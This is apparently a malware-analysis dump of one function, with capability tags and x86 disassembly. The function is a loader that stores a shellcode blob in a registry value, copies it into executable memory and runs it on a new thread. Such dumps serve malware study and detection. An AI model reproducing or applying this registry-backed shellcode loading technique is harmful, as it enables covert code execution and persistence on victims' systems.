Function at 0x100054c0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Delete registry value
Execute shellcode via indirect call
Query or enumerate registry value
Set registry value
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa50
push ebx
mov ebx, dword [ebp + 8]
cmp byte [ebx], 0xc9
push esi
mov esi, ecx
mov dword [ebp - 4], esi
je 0x1000580e
cmp dword [ebp + 0xc], 0x65
push edi
jne 0x10005707
lea eax, [ebp - 8]
push eax
push 0x20019
xor edi, edi
push edi
push str.Console0
push connect
mov dword [ebp - 0xc], 3
mov dword [ebp + 0xc], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100055ba
mov eax, dword [ebp - 8]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea ecx, [ebp + 0xc]
push ecx
push edi
lea edx, [ebp - 0xc]
push edx
push edi
push str.Pk2eDDS2BMrZwkrfBLqRW4c2i8avnwK8
push eax
call esi
mov eax, dword [ebp + 0xc]
cmp eax, 0xa44
jbe 0x100055ad
push eax
call fcn.100068df
mov ecx, dword [ebp + 0xc]
push ecx
mov ebx, eax
push edi
push ebx
call fcn.1000c8f0
mov ecx, dword [ebp - 8]
add esp, 0x10
lea edx, [ebp + 0xc]
push edx
push ebx
lea eax, [ebp - 0xc]
push eax
push edi
push str.Pk2eDDS2BMrZwkrfBLqRW4c2i8avnwK8
push ecx
call esi
test eax, eax
jne 0x100055aa
push 0x40
mov ecx, 0x291
mov esi, ebx
mov edi, 0x1001bc98
rep movsd dword es:[edi], dword [esi]
mov edx, dword [0x1001bea0]
push 0x3000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [0x1001bea0]
push ecx
add ebx, 0xa44
push ebx
push eax
mov dword [0x1001c6dc], eax
call fcn.1000c970
add esp, 0xc
xor edi, edi
mov ebx, dword [ebp + 8]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [ebp - 4]
mov ecx, 0x1001bea4
lea eax, [ebx + 1]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x100055e8
cmp dx, di
je 0x100055e4
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x100055e8
add eax, 4
add ecx, 4
cmp dx, di
jne 0x100055c2
xor eax, eax
jmp 0x100055ed
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
je 0x100056f8
mov eax, dword [0x1001c6dc]
cmp eax, edi
je 0x10005611
push 0x8000
push edi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1001c6dc], edi
push 0x1e4
lea ecx, [ebp - 0xa32]
xor eax, eax
push edi
push ecx
mov dword [ebp - 0xa50], edi
mov dword [ebp - 0xa4c], 0x5f55767b
mov dword [ebp - 0xa48], 0x57576a21
mov dword [ebp - 0xa44], 0x64002e
mov dword [ebp - 0xa40], 0x6c006c
mov dword [ebp - 0xa3c], 0x62005f
mov dword [ebp - 0xa38], 0x6e0069
mov word [ebp - 0xa34], ax
call fcn.1000c8f0
push 0x64
lea eax, [ebp - 0x844]
xor edx, edx
push edi
push eax
mov word [ebp - 0x84e], dx
mov dword [ebp - 0x84c], edi
mov dword [ebp - 0x848], edi
call fcn.1000c8f0
push 0x7d0
lea ecx, [ebp - 0x7e0]
push edi
push ecx
call fcn.1000c8f0
push 0xa45
mov dword [ebp - 0x10], edi
call fcn.100068df
mov esi, eax
push 0xa44
lea edx, [ebp - 0xa50]
push edx
lea eax, [esi + 1]
push eax
mov byte [esi], 5
call fcn.1000c970
mov eax, dword [ebp - 4]
add esp, 0x34
cmp dword [eax + 8], edi
jne 0x100056e6
mov ecx, dword [eax + 4]
mov edx, dword [ecx]
mov eax, dword [edx + 8]
push 0xa45
push esi
call eax
push esi
call fcn.100068ea
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push edi
push edi
push esi
push 0x100052b0
push edi
push edi
jmp 0x100057ee
push 0x40
lea esi, [ebx + 1]
mov ecx, 0x291
mov edi, 0x1001bc98
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x1001bea0]
push 0x3000
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [0x1001bea0]
push edx
add ebx, 0xa45
push ebx
push eax
mov dword [0x1001c6dc], eax
call fcn.1000c970
mov eax, dword [0x1001bea0]
add eax, 0xa44
push eax
mov dword [ebp + 0xc], eax
call fcn.100068df
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x100057dd
mov ecx, 0x291
mov esi, 0x1001bc98
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [0x1001bea0]
mov ecx, dword [0x1001c6dc]
push eax
push ecx
lea edx, [ebx + 0xa44]
push edx
call fcn.1000c970
add esp, 0xc
lea eax, [ebp + 8]
push eax
push str.Console0
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x100057ca
mov ecx, dword [ebp + 8]
push str.Pk2eDDS2BMrZwkrfBLqRW4c2i8avnwK8
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edx
push ebx
push 3
push 0
push str.Pk2eDDS2BMrZwkrfBLqRW4c2i8avnwK8
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
call fcn.1000739b
add esp, 4
mov esi, dword [ebp - 4]
push 0
push 0
push esi
push 0x100052b0
push 0
push 0
call fcn.100072fb
add esp, 0x18
push 0xbb8
mov dword [esi + 0x18], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esi + 4]
mov edx, dword [ecx]
mov eax, dword [edx]
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8